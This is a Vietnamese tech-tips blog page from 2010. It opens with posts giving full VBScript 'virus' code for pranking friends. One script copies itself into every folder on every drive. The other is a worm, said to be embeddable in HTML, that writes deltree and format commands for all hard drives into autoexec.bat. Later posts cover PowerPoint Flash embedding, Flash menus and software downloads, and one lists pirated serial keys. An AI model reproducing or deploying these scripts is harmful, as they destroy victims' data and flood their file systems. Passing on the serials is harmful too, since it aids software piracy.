MeNu

Thứ Ba, 30 tháng 11, 2010

Cách tạo virus đơn giản nhất để phá bạn bè!!!


Tác hại của con VR này:
- Nhân bản chính nó vào tất cả các thư mục của Windows, các thư mục trong ổ C:\ D:\ và E:\ và cả các thư mục con của nó. Nói chung là ổ cứng có bao nhiêu Folder thì con VR sẽ nhân bản lên bấy nhiêu lần và sau đó cho vào 1 Folder 1 bản.
Mục đích để thằng bị dính nó hoang mang lo sợ, muốn xóa cũng ko thể nào xóa hết đc. Làm sao có thể xóa được gần cả ngàn thư mục trong Windows? mà thư mục nào cũng có mặt Virus
Và tất nhiên là mình có kèm theo cả thuốc giải
Chạy File thuốc giải là coi như xong, như chưa có chuyện gì xảy ra vậy 

Vào notepad gõ đoạn code sau

CODE:


'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub




save lại bằng tên tranngap.vbs



copy code sau vào notepad


Mã:


'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub


save dưới tên giaithoat.vbs

Hướng Dẫn Tạo Virus Đơn Giản

Sau đây tôi xin giới thiệu cách tạo một virus đơn giản.đây là bài của tác giả khác nhưng đã được tôi chỉnh sửa đôi chút cho phù hợp

giới thiệu cách sử dụng VBScript để viết một
worm nhỏ xoá sạch ổ cứng của ai đó. (có thể nhúng vào HTML)


I/để bắt nạn nhân thực thi một chương trình nào đó các bạn sử dụng đoạn

================
<html>
<head>
<title>L0ng3ta</title>
</head>
<body >
<p>chuong trinh notepad se thuc thi
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Run "c:\windows\notepad.exe",1,False
</SCRIPT></p>
</body>
</html>
================
đoạn Script trên sẽ chạy chương trình notepad. Các bạn có thể copy vào trang HTML
và cho chạy thử.

II/Đoạn Script để chèn một vài lệnh lên autoexec.bat trên ổ đĩa của nạn nhân.
======================
Function FindFile(PathFiles)
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject") 
If (fso.FileExists(PathFiles)) Then
FindFile = True
Set f = fso.GetFile(Pathfiles)
If f.attributes and 1 Then 
f.attributes = f.attributes -1
End if

Else
FindFile = False
End If 
End Function

Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Autoexec.bat", True)
tf.WriteLine ("@Echo off") 
tf.Close
End Sub

Sub InsertBegintext() 
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@Echo Please Waiting for Windows updating your system ...")
tf.Close
End Sub

Sub Inserttext(drv) 
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@deltree /y " & drv & " > null")
tf.WriteLine ("@Format " & drv & " /q /u /autotest > null") 
tf.Close
End Sub

'Kiem tra xem co phai o dia co phai la harddisk hay khong
'Va tra ve true neu no la harddisk
Function ShowDriveInfo(drvpath)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(drvpath)
If d.DriveType = 2 then
If d.IsReady then
ShowDriveInfo = True
Else 
ShowDriveInfo = False
End If
Else
ShowDiveInfo = False
End If
End Function

Sub Main()
Dim fso, d, dc, s, i
Dim a(15)
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
i = 0
For Each d in dc
If showdriveinfo(d) then
a(i) = d
i= i+1
End If
Next
If Not Findfile("c:\autoexec.bat") then
Createfile
End if
InsertBegintext
Do While i>0
i=i-1
Inserttext(a(i))
Loop 
End Sub

Main
</SCRIPT> 


Các bạn biết để tránh thôi nha

Thứ Hai, 29 tháng 11, 2010

Chèn Flash vào file trình diễn trong PowerPoint 2003



Chèn Flash vào file trình diễn trong PowerPoint 2003

1. Cách 1:
Ưu điểm: Sử dụng được trên hầu hết các phiên bản Powerpoint.
Nhược điểm: Phải đặt file Flash trong cùng thư mục với bài Powerpoint và cách làm khá phức tạp.

Khi cần chèn Flash vào file trình diễn của mình, bạn có thể dùng một phần mềm hỗ trợ hay vào Insert  Object. Nhưng máy bạn đang sử dụng không có phần mềm hỗ trợ, hơn nữa Object Flash không sử dụng được (do cài đặt thiếu) thì sao ? Đừng lo lắng, PowerPoint còn có công cụ khác giúp bạn thực hiện việc đó. Bài viết này sẽ hướng dẫn bạn cách thực hiện (áp dụng trên hầu hết các phiên bản office thông dụng).
1. Trước hết bạn mở file PowerPoint cần chèn Flash. Bạn có thể tạo một Slide mới để chứa file Flash bằng cách vào Insert  New Slide.
2. Vào menu View  Toolbar  Control Toolbox. Trong hộp thoại Control Toolbox, nhấn vào biểu tượng More Controls  gõ phím S  kéo thanh trược xuống một tý để chọn mục Shockware Flash Object  kéo vẽ một hình chữ nhật để chứa file Flash.
3. Click chuột phải lên hình chữ nhật vừa vẽ  chọn Properties  click vào chữ Custom  click tiếp vào dấu Ðính Kèm 10104 vừa xuất hiện.
4. Copy đường dẫn của file Flash và Paste vào ô Movie URL  rồi nhấn OK. Tiếp tục, đóng các cửa sổ vừa thao tác.

Để lấy được đường dẫn của file Flash, bạn làm như sau: Mở Explorer  tìm đến thư mục chứa file Flash  Click chuột phải lên file Flash muốn chèn, chọn Properties  Copy đường dẫn trong mục Location  chuyển qua file PowerPoint, Paste vào ô Movie URL trong của sổ Property Pages (nếu không thấy cửa sổ này, bạn thu nhỏ cửa sổ PowerPoint bằng cách Click nút )  trở lại cửa sổ Properties của file Flash, bạn copy tiếp tên file và Paste vào ô Movie URL  rồi gõ thêm “.swf” (như hình minh họa).
5. Bây giờ, bạn có thể nhấn Shift + F5 để kiểm tra. Bạn có thể đều chỉnh kích cỡ của hình chữ nhật chứa file Flash như một hình bình thường bằng cách: đưa chuột vào các góc khi thấy các mũi tên điều chỉnh xuất hiện thì nhấn chuột trái và kéo để thay đổi kích cỡ.
Lưu ý:
Nếu bạn mang bài PowerPoint có chèn file Flash thì bạn phải đặt file Flash này cùng thư mục với file PowerPoint (*.ppt) trước khi thực hiện 5 bước trên. Theo kinh nghiệm, tôi khuyên bạn nên tập hợp các hình ảnh, âm thanh, film, file Flash, … và file PowerPoint chính đặt trong cùng một thư mục (khi mang qua máy khác, bạn chỉ cần chép thư mục chứa bài trình diễn đó là an toàn).
Bạn có thể sử dụng địa chỉ tương đối, tức là thay gì phải ghi đầy đủ đường dẫn, bạn chỉ cần copy tên file swf vào Movie URL và file swf được đặt cùng thư mục với bài PPT.
Nếu file Flash không tự chạy khi trình diễn thì bạn hãy click chuột phải lên file Flash và chọn Play.

Một lưu ý quan trọng là … bạn nên kiểm tra lại các đối tượng nhúng (âm thanh, phim, flash, …) tại máy sẽ trình diễn trước khi thực sự sử dụng.
2. Cách 2:Sử dụng phần mềm miễn phí Swiff Point Player
Ưu điểm: Đơn giản, dễ thực hiện, không phải lưu kèm file Flash.
Nhược điểm: Dung lượng file Powerpoint khá lớn (do chứa cả file Flash) và nếu sử dụng file này tại những máy chưa cài Swiff Point Player thì chúng ta phải cài đặt phần mềm này vào máy đó.
a). Cài đặt:
Tải phần mềm từ địa chỉ: http://www.globfx.com/downloads/swfpoint.cgi hoặc liên hệ soạn giả.
Kích đúp chuột vào file SwiffPointPlayer20.exe  chương trình hỏi This will install Swiff Point Player. Do you wish to continue ?  bạn click Yes. Tiếp tục click Next  check vào ô I accept the agreement  click Next  Next  Next  Install  bỏ dấu check của mục Display Help Page (recommended)  click Finish.
b). Sử dụng:
Trong bài Powerpoint, vào menu Insert  chọn Flash Movie…  chọn file muốn đưa vào bài và nhấn Insert.
Bạn có thể thay đổi kích thước của file Flash bằng cách kéo các nút điều chỉnh.

Thứ Tư, 24 tháng 11, 2010

Tạo Menu 3 Chiều Cho Web, Blog

Việc tạo Menu 3D cho Blog và Website hiện không còn là vấn đề khó khăn với các Webmaster. Tuy nhiên với 360Plus blog thì có một chút vấn đề. Đó là 360Plus không sử dụng được các JavaScript - là công cụ chính để tạo ra hiệu ứng 3D bắt mắt cho menu cũng như các ứng dụng khác. Do vậy, chúng ta chỉ có thể sử dụng Flash để thực hiện ý tưởng trên cho 360Plus Blog.


Để làm được Menu như trên, đầu tiên, Bạn cần download phần mềm để tạo Menu Flash 3D về máy tính tại địa chỉ:


http://download233.mediafire.com/2nnyed204beg/qgwoymi2tve/Tao+menu+3+Chieu.rar

Sau khi Download về, Bạn tiến hành giải nén và cài đặt. Chú ý là trong file giải nén, mình đã để sẵn các Ảnh làm menu mẫu mà các Bạn đã thấy ở trên Menu ví dụ trên. Bạn sẽ sử dụng các Ảnh này để làm dữ liệu cho Menu của bạn.

* Bạn có thể xem video hướng dẫn cài đặt tại đây
* Xem màn hình lớn tại đây

Sau khi tiến hành cài đặt và bẻ khóa xong, Bạn tiến hành thực hiện tạo Menu theo Video hướng dẫn sau.

* Video Hướng dẫn cách tao Menu Flash 3D
* Xem màn hình lớn tại đây


1.Là phần hiệu ứng ảnh(có thể xoay tròn hoặc hình lớn hình bé như win vista...)
+ PubLic :xuất bản ảnh ra ngoài dưới dạn file Flash(swf),có cả code để chèn vào web...

2.là phần hình ảnh(ở đây sẽ ghi rõ toàn bộ đường dẫn hình ảnh,bạn có thể xóa đi,di chuyển hình lên trên hoặc xuốn dưới,tạo thư mục...)

3.Là phần chỉnh sửa hình ảnh như mình đã nói ở trên,tại đây bạn có thể tùy chỉnh mọi thứ,cứ việc test thử đi nhé,từ background,màu sắc,khung lớn khung bé,hình nhỏ hình to...


4. Là phần thiết kế hình ảnh,chọn đường dẫn...
+ Image:là đường dẫn ảnh của bạn
+ Title :là tiêu đề
+Description : là giới thiệu tóm tắt nội dung của hình ảnh hoặc trang web bạn mún liên kết

Trong bước 4 ban co thể chọn Transparent để chọn Trong Suốt, còn Solid color là màu nền theo ý bạn, theo mình thì nên chọn Transparent để phù hợp với từng trang của bạn
cuối cùng chọn Publish và xuất bản ra dưới dạng file flash(swf).vậy là bạn đã có 1 quick menu hoặc 1 slide show ảnh 3D tuyệt đẹp rùi đó.

Bạn chú ý là trong file giải nén có một file mình đã tạo sẵn và Bạn chỉ cần dùng chương trình tạo Menu để mở sẵn file này như hướng dẫn của Video trên. Sau đó Bạn chỉ cần thay các đường dẫn bằng đường dẫn trong Blog hay website của Bạn là OK.

Với hướng dẫn trên, Bạn có thể tạo ra 9 kiểu menu khác nhau. Và tủy theo sở thích hay mục đích của Bạn mà có thể chọn một kiểu Menu hợp ý. Sau khi tạo xong, Bạn cần upload file Menu mới tạo được lên host để có thể sử dụng cho Blog hay Site của Bạn. Đối với 360Plus Blog, thì Bạn nên đăng ký miễn phí ở 1 trong 2 host sau để có thể upload các file Flash hay Ảnh lên.

http://my.imageshack.us/v_images.php
http://www.fileden.com/upload.php

Sau khi đăng ký và upload được Menu bạn mới tạo xong, Bạn sử dụng code tổng quát để đăng Flash lên Blog:
Code:

<embed type="application/x-shockwave-flash" AllowScriptAccess='never' wmode="transparent" height="190" width="600" src="http://i1019.photobucket.com/albums/af317/max4downloadcom/photobutket.swf?link= http://www.fileden.com/files/2010/4/14/2827641/menu2.swf "></embed

600 là chiều rộng và 200 là chiều cao hiển thị Flash. Thông số này phụ thuộc vào kích thước Flash mà Bạn đã thiết kế lúc tạo Menu.

http://www.fileden.com/files/2010/4/14/2827641/menu2.swf là địa chỉ Menu Flash sau khi bạn đã đưa lên Host.

Và Cuối Cùng Là Kết Quả:
Demo: http://ungdungblog.tk
Chúc Các bạn Thành Công.

Thứ Ba, 23 tháng 11, 2010

Những kiểu slideshow ảnh độc đáo





Slideshow 3D xoay vòng, vòng tròn và xếp như bậc thang:

Với CrazyProfile bạn sẽ tìm được những kiểu hiểu thị slide ảnh độc đáo. Hãy thử click vào địa chỉ này http://www.crazyprofile.com/slide_show/slideshow.asp, kế đó click trên thẻ Files, chọn Browse để đưa ảnh của bạn lên. Sau khi đưa các ảnh xong, bạn click thẻ Customize để chọn kiểu xuất hiện.

Chọn kiểu thay đổi (Select Transition):
Fade in Fade out: Tuần tự
Slide: Slide
3D Spin: Kiểu ba chiều
Rings: Vòng tròn, các ảnh nhỏ xoay quanh một ảnh lớn
Step: Xếp như bậc thang

Chọn tốc độ bằng cách kéo thước trên Transition Options.

Muốn thay đổi bất kỳ ảnh nào trong số bạn đã đưa lên trước đó bạn bấm vào thẻ Edit Images, chọn ảnh và click Replace. Chọn ảnh và nhấn Delete trong trường hợp muốn xóa.

Làm xong click Done -> Get Code


Ví dụ:




ẢNH LUNG LINH NHƯ MẶT NƯỚC

Hiệu ứng này làm cho ảnh của bạn lung linh như mặt nước. Khi rê chuột vào ảnh, hình chuyển động mạnh hơn. Một hiệu ứng khá lạ. Để thực hiện bạn click vào
http://www.crazyprofile.com/water_effect/water_effect.asp
, click Open để chọn ảnh đợi vài giây và nhất Get Code để lấy mã.


Chữ viết tay:

http://www.crazyprofile.com/animated/animated_handwriting.asp

Con trỏ chuột (Xem hướng dẫn):

http://www.crazyprofile.com/Cursors/cursors.asp

Đồng hồ thế giới:

http://www.crazyprofile.com/world_clocks/world_clock.asp


CÁCH CHÈN VÀO BLOG

Đối với Blogger bạn có thể chèn ngay vào bài viết bằng cách dán vào trình soạn thảo ở chế độ HTML (chọn thẻ Edit HTML thay vì Compose) hoặc click Add a Page Element (Thêm phần tử trang) trên Layout (Trình bày).

Hướng dẫn post slide ảnh (có thể chèn link vào mỗi bức ảnh)






<embed height=350 type=application/x-shockwave-flash width=560src=http://img692.imageshack.us/img692/7662/beautifuldreamblog.swf?http://i465.photobucket.com/support/http://vn.myblog.yahoo.com/beautiful-dream flashvars="pics=link_của_bức_ảnh_thứ_1|link_của_bức_ảnh_thứ_2|link_của_bức_ảnh_thứ_3&links=link_chèn_vào_bức_ảnh_thứ_1|link_chèn_vào_bức_ảnh_thứ_2|link_chèn_vào_bức_ảnh_thứ_3&pic_width=560&pic_height=350&stop_time=7000" wmode="transparent">
 
link_của_bức_ảnh_thứ_1 - Là link của bức ảnh thứ nhất
link_của_bức_ảnh_thứ_2 - Là link của bức ảnh thứ hai
link_của_bức_ảnh_thứ_n - Là link của bức ảnh thứ n
Lưu ý: không giới hạn số lượng hình ảnh, chỉ hỗ trợ định dạng .jpeg, không hỗ trợ định dạng .png và .gif
link_chèn_vào_bức_ảnh_thứ_1 - Link này được chèn lên bức ảnh thứ nhất, khi ta click vào bức ảnh thứ nhất, nó sẽ mở link này ra.
link_chèn_vào_bức_ảnh_thứ_2 - Link này được chèn lên bức ảnh thứ hai, khi ta click vào bức ảnh thứ hai, nó sẽ mở link này ra.
link_chèn_vào_bức_ảnh_thứ_n - Link này được chèn lên bức ảnh thứ n, khi ta click vào bức ảnh thứ n, nó sẽ mở link này ra.
Lưu ý: không giới hạn số lượng link được chèn, số lượng link của ảnh và số lượng link được chèn lên ảnh phải bằng nhau.
Chiều rộng của ảnh và chiều rộng của flash phải giống nhau: pic_width=560 width=560
Chiều cao của ảnh và chiều cao của flash phải giống nhau: pic_height=350 height=350
stop_time=7000 là thời gian hiện thị của một ảnh, muốn tăng thời gian ta thay bằng 800, 900. Muốn giảm thời gian ta thay bằng 600, 500,...
 
Đây là code cho các bạn thử nghiệm:
<embed height=350 type=application/x-shockwave-flash width=560 src=http://img692.imageshack.us/img692/7662/beautifuldreamblog.swf?http://i465.photobucket.com/support/http://vn.myblog.yahoo.com/beautiful-dream flashvars="pics=http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/32711257856145.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/16381257856148.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/40221257856151.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/55591257856153.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/53301257856155.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/23041257856159.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/44121257856161.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/95481257856164.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/95791257856166.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/47891257856169.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/95361257856172.jpg|http://img.photo.zing.vn/file_uploads/gallery/sources/q42008/2009/11/10/07/17351257856175.jpg&links=http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus|http://vn.myblog.yahoo.com/thuthuatblog360plus&pic_width=560&pic_height=350&stop_time=7000" wmode="transparent">

  

Tổng hợp biểu tượng " I'm Online" cho blog.







</center><a href="ymsgr:sendIM?Lee.Pro8x"> <img border="0" src="http://opi.yahoo.com/online?u=Lee.Pro8x&m=g&t=2" align="absmiddle"></center>


</center><img src="http://presence.msg.yahoo.com/online?u=Lee.Pro8x&amp;m=g&amp;t=11&amp;l=us" border="0"></a></center>



</center><a><img src="http://presence.msg.yahoo.com/online?u=Lee.Pro8x&amp;m=g&amp;t=14&amp;l=us" border="0"></a></center>

Cách thực hiện:
Bạn chọn cho mình biểu tượng mà bạn thích, sau đó thay Lee.Pro8x ( nick của mình) bằng nick chát của bạn nhé, rồi paste code tương ứng vào Modun tự tạo nhé, nếu paste vào bài viết thì nhớ check HTML lên nha^^.

Thứ Hai, 22 tháng 11, 2010

UltraSurf 10.03 | Thay đổi IP, ẩn IP, vượt tường lửa hiệu quả

UltraSurf là một phần mềm dùng để fake IP và vượt tường lửa rất hiệu quả hiện nay đối với các website không cho các IP từ VN vào hoặc các trang web bị các nhà cung cấp dịch vụ (ISP) từ VN cấm truy cập ...
UltraSurf 10.03 | Thay đổi IP, ẩn IP, vượt tường lửa hiệu quả
UltraSurf 10.03 | Thay đổi IP, ẩn IP, vượt tường lửa hiệu quả

UltraSurf là một phần mềm miễn phí giúp bạn vượt qua sự ngăn chặn của những ISP để có thể xem được tất cả các trang web mà bạn muốn trên toàn thế giới. Chương trình sẽ tự động tìm những proxy thông qua những server của nó và giúp bạn duyệt web nhờ vào chúng. Việc tìm kiếm proxy được thực hiện ngầm và khá nhanh chóng khiến cho người dùng cảm thấy như duyệt web bình thường mà không có sự chậm trễ nào. Các proxy sẽ được lựa chọn để đảm bảo bạn luôn được sử dụng proxy tốt nhất.

UltraSurf có thể hoạt động được với mọi trình duyệt và với mọi chức năng mà người dùng cần thiết, như việc lướt web, đăng nhập và gửi bài ở diễn đàn, sử dụng email, upload và download files, xem và nghe nhạc, video, …

Tên phần mềm: UltraSurf 10.03
Chức năng chính: Thay đổi IP, ẩn IP, vượt tường lửa hiệu quả
Dung lượng: 1.0 MB
Download "UltraSurf 10.03" FULL

USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB

USB Disk Security: Ổ đĩa usb đã trở thành một vật dụng khá quen thuộc và hữu ích với người sử dụng máy tính . Song việc sao chép dữ liệu giữa nhiều máy tính , ổ usb thường mang lại những nguy cơ lây nhiễm virut , spyware rất lớn ...

USB Disk security sẽ giúp bạn ngăn chặn mối nguy cơ đó . Với sự kết hơp nhiều công cụ mạnh mẽ bao gồm USBShield , USBScan , MemoryShield , Qurantine , giúp bạn yên tâm hơn khi sử dụng thường xuyên sử dụng usb để chia sẻ dữ liệu .
Sau khi kích hoạt , chương trình sẽ hỏi bạn có muốn tắt chức năng autorun của usb hay ko , bạn chọn yes để chấp nhận hoặc cancel để hủy bỏ . Ngay sau đó chương trình sẽ tự động quét và thông báo cho bạn biết nếu có bất kỳ mối đe dọa nào chứa trong usb .
USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB
USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB

1. USBShield và MemoryShield:
- Đây là 2 chức năng bảo vệ usb trong thời gian thực . Mỗi khi bạn cắm 1 usb mới vào máy , chương trình sẽ tự động dò quét các tiến trình độc hại gây ảnh hưởng tới hệ thống và bộ nhớ . Nếu phát hiện , bạn ấn delete all để xóa bỏ các tập tin ra tiến trình đó . Chức năng USB Scan cho phép bạn quét thủ công usb bằng cách nhấn vào nút scan .

2. Quarantine:
- Đây là nơi chứa các tập tin nghi ngờ và đã bị xóa bỏ . Nếu vẫn muốn lấy lại tập tin đó , bạn chọn nó rồi ấn nút Restore . Bấm Empty để xóa bỏ hoàn toàn ( ko còn khả năng phục hồi) .

3. USBTools:
- Hầu hết các loại virut lây lan qua USB tạo ra trên USB một file autorun.ini để mỗi khi mở usb trên máy thì virut sẽ tự động lây nhiễm . Chức năng usbtools sẽ loại bỏ nguy cơ này . Bạn chỉ cần bấm nút Acquire immunity , ngay lập tức chương trình sẽ tạo ra cho usb một thư mục mang tên file autorun.ini , vì thế virut ko thể tạo ra file autorun.ini được nữa . Nếu bạn muốn trở lại chức năng autorun thì bấm vào nút Cancel immunity .
- Đôi lúc bạn muốn USB an toàn khỏi máy , mặc dù đã tắt hết chương trình sử dụng USB nhưng vẫn nhận dòng chữ "The device 'Generic volume' cannot be stopped right now . Try stopping the device again later " . Khi đó bạn chỉ cần nhấn vào nút Safe Remove là có thể rút usb ra an toàn .

4. Repair System:
- Các loại virut thường thay đổi thiết lập hệ thống như khóa Folder Options , registry , Task manager ... Trong trường hợp đó , bạn hãy nhấn nút Repair Registry là chương trình sẽ khôi phục lại các thiết lập mặc định cho WIN . Nút Disk Cleanup dùng để làm sạch cookies , file tạm ...

5. Auto start:
- Chức năng này giúp bạn quản lý các chương trình khởi động cùng Windowns . Nếu thấy nghi ngờ một chương trình nào thì bạn nhấn Delete để xóa bỏ.

USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB
USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB

USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB
USB Disk Security 5.4.0.12 | Bảo vệ và chống viurs cho USB

Tên phần mềm: USB Disk Security 5.4.0.12
Chức năng chính: Bảo vệ và chống viurs cho USB
Dung lượng: 1.58 MB
Serial:
Name: www.easyvn.net
Serial: 0DC21-21437-55251-9DE74-6D96E-AA081-A609E-01C0E

Name: cryvn
Serial: E277F-9AF12-5334A-AF69C-A4299-1BC83-DD547-992C8
Download "USB Disk Security 5.4.0.12" FULL có serial và keygen kèm theo

Thứ Bảy, 20 tháng 11, 2010

Pipeline Integration with Maya 2011 and Realflow 5

Pipeline Integration with Maya 2011 and Realflow 5



Pipeline Integration with Maya 2011 and Realflow 5

Pipeline Integration with Maya 2011 and Realflow 5 | .flv | 941Mb



Trong loạt bài học chúng ta sẽ học cách Maya và RealFlow có thể được sử dụng cùng với các dự án của chúng tôi.
Chúng tôi sẽ bắt đầu khóa học này bằng cách học làm thế nào để nhập khẩu lưới RealFlow vào Maya, và chúng tôi sẽ đi từng bước qua quá trình thêm đèn, vật liệu và thiết lập làm cho thích hợp để bắt chước xuất hiện của thực tế và vật liệu thủy tinh lỏng. Từ đó, chúng ta sẽ đi sâu hơn vào quá trình hội nhập, học hỏi làm thế nào để đưa hình học từ Maya vào RealFlow, sử dụng động cơ thể RealFlow của mềm và cứng nhắc để tạo các đối tượng chuyển động, cũng như sự hiểu biết làm thế nào cảnh quy mô đóng một vai trò quan trọng trong hành vi của chúng tôi mô phỏng. Chúng tôi sẽ tìm hiểu làm thế nào để bộ nhớ cache và tái sử dụng dữ liệu mô phỏng và thảo luận RealFlow nhiều thủ thuật, thủ thuật và kỹ thuật mà bạn sẽ có thể sử dụng trong mô phỏng cả và các giai đoạn vẽ của dự án RealFlow của bạn.
1. Giới thiệu và tổng quan về dự án2. Xuất khẩu các mắt lưới từ RealFlow vào Maya3. Áp dụng nguyên liệu Maya RealFlow mắt lưới4. Điều chỉnh các thiết lập Raytrace trong Maya5. Thêm bóng màu với các vật liệu điện môi6. Thêm hình ăn da để vật liệu thủy tinh7. Điều chỉnh cuối cùng để trả chất lượng8. Nhập khẩu Maya hình học vào RealFlow9. Tạo các đối tượng cơ thể mềm mại và cứng nhắc trong RealFlow10. Điều chỉnh kết quả cơ thể mềm mại trong RealFlow11. Caching mềm mô phỏng cơ thể từ RealFlow12. Thêm splashes chi tiết cho dự án RealFlow của chúng tôi13. Thêm RealWave bề mặt đến cảnh của chúng tôi14. Tạo lưới xung quanh các hạt RealFlow15. Nhập khẩu RealFlow đối tượng vào Maya16. Thiết lập tài liệu cho các hình học chanh17. Thêm một môi trường phản xạ với cảnh Maya của chúng tôi18. Tăng tia phản xạ và khúc xạ trong Maya19. Thêm bóng mềm để cảnh Maya của chúng tôi20. Sửa lỗi phản xạ và khúc xạ21. Trộn RealFlow mắt lưới với nhau trong Maya22. Thêm chiếu sáng trung đến hiện trường23. Sửa chữa đồ tạo tác trong Maya Vật liệu kiến trúc24. Sử dụng RealFlow tan Shader trong Maya25. Tạo RealFlow tập tin dự án cho khóa học này


LINK TẢI VỀ:

http://www.mediafire.com/myfiles.php#10,1

NHỚ ĐÁNH DẤU KIỂM TRƯỚC KHI GIẢI NÉN NHÉ
http://www.pkp.in/images/a/Keep%20broken%20files.jpg
Nguồn trích dẫn (0)

Thứ Sáu, 19 tháng 11, 2010

HDShredder – Format dữ liệu một cách triệt để

Bạn đã lưu trữ những dữ liệu quan trọng trong ổ cứng, bây giờ ổ cứng bạn bị hư phải vứt bỏ đi,  hoặc khi  bạn chuyển quyền sở hữu ổ cứng đó cho người khác,  bạn  lo lắng sẽ có  dữ liệu quan trọng này sẽ rơi vào tay người đó. Với HDShredder 3.6 bạn sẽ hoàn toàn yên tâm về việc này. HDShredder có thể xoá sạch tất cả dữ liệu trên ổ cứng mà không ai có thể hồi phục lại được.
ICT Express hdshredder3kw91 HDShredder   Format dữ liệu một cách triệt để
Bạn có thể tải HDShredder 3.6 với dung lượng 6.52 MB tại đây.

Tạo SlideShow ảnh tự động trên Windows Media Player (WMP)

Vừa chơi nhạc vừa ngắm “girl xinh” ngay trên cửa sổ Windows Media Player (WMP) ai mà chẳng muốn.  Với một một PlugIn miễn phí của Microsoft dành cho trình WMP thì bảo đảm bạn vui mắt hơn bên cạnh cái đã tai … khi nghe nhạc.
Cách làm như sau:

o Sau khi cài đặt công cụ sẽ tự động  tích hợp vào hệ thống PlugIn của trình WMP.
o Để tùy biến các xác lập bạn vào menu Tools > Options > thẻ Plug-Ins > chọn tên PlugIn Picture Viz > nhấp chọn nút Properties, xem hình 1.
Hình 1:
